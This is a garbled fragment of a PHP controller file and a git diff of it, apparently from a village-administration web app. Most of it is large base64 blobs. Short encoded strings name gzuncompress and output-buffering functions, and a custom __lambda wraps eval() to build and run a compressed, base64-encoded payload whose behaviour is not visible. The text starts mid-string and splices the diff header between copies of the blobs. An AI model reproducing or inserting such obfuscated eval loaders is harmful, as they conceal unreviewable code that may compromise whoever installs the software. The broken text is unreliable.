fLLf/4va31n738vf/vHtx95vPLsRx78237Cv9/Q/2/+dzft9d/Qvf75K/8N3UPM/f0A5AXk/vHtXxnWMUU='; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Bumindes_tanah_kas_desa.php b/donjo-app/controllers/Bumindes_tanah_kas_desa.php index 546f3ebd0..e7942d2a9 100644 --- a/donjo-app/controllers/Bumindes_tanah_kas_desa.php +++ b/donjo-app/controllers/Bumindes_tanah_kas_desa.php @@ -300,7 +300,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXF2TotiyfZ+I+x/64UTUOTH3zgEsu9vo6AexBKHUKkUBeengowQLRE75ib/+rtygoqJVPTNnbtwT7hqnSoT9kbkyc2XubX/6lLW//UD7fpe8TeLF+O4be5u373feLH6d/Y+dJP90Z/HibRZFL2/zf4rL6ST2XuY/FnZsBz9Ce/4D7+zfkiD51Ijs+fy33367+/ZLPsCn//rl9nP7+Xf//ELI/fQntu9nV+5MvjYfGfzEkpvf79ilA8o/1HLr+v7p1m7t1m7tP7PduVOd80x1qci6MDLWM1Wqjc00/JI5TXjNzF3/uInq1m7t1m7t1m7t1m7t1m7t/1u7lTNu7dZu7db+c9udY89fPt//8F7cmfdy9+0mkVu7tVu7tVu7tT/Ujo9cPPRm3cbk67/w23/0uUelMfP702huaWLiTEN/NJVi25CWitwP3Gn4uXjfoCJGTtRV+3X2Hv3U/6VI3cSt9COHPW+t3CkfuELoW7K+HWni1qP9bFPxPVlPR7H+hmu8E/d5OxUXlsEHNl0z7rP7e4V+m9LakaO3kdlNaC7ORNw6FfQhDP2RUAt387XkKLWNTeKmIsZRQ9yPeS/o/rltdiMnxvNNrzdoiEZnXew/CDCHB9sUuZFWTzsP9arS4PzOa33T1cQHR+AntlGNFEmNXKHGu9NupDSjJdaaeC2ds43aUmkEM6/VXz9Nvq6clr7A+paWsFg5pr60TcgvrS4ts7d6zNbla7L0pjQhr1Y/UB6UdWcw8ttsbIVTJDHCvHnHhHxkyL/Zx7hNvy9HMfXlNMQh1jfxjEWwG9fdzlZtoba2jGpoYd3taRQ+HskQepl6JIudrEhGiS2QfqPPtnE/V1rdaCRIKfQSu1OJs83OXJEXkStLIekPWFjj99qDjl6AC4vprQo5i4EnMzlvR5C/M5WWDCsTEZ+pidKi9Ugkj8Bri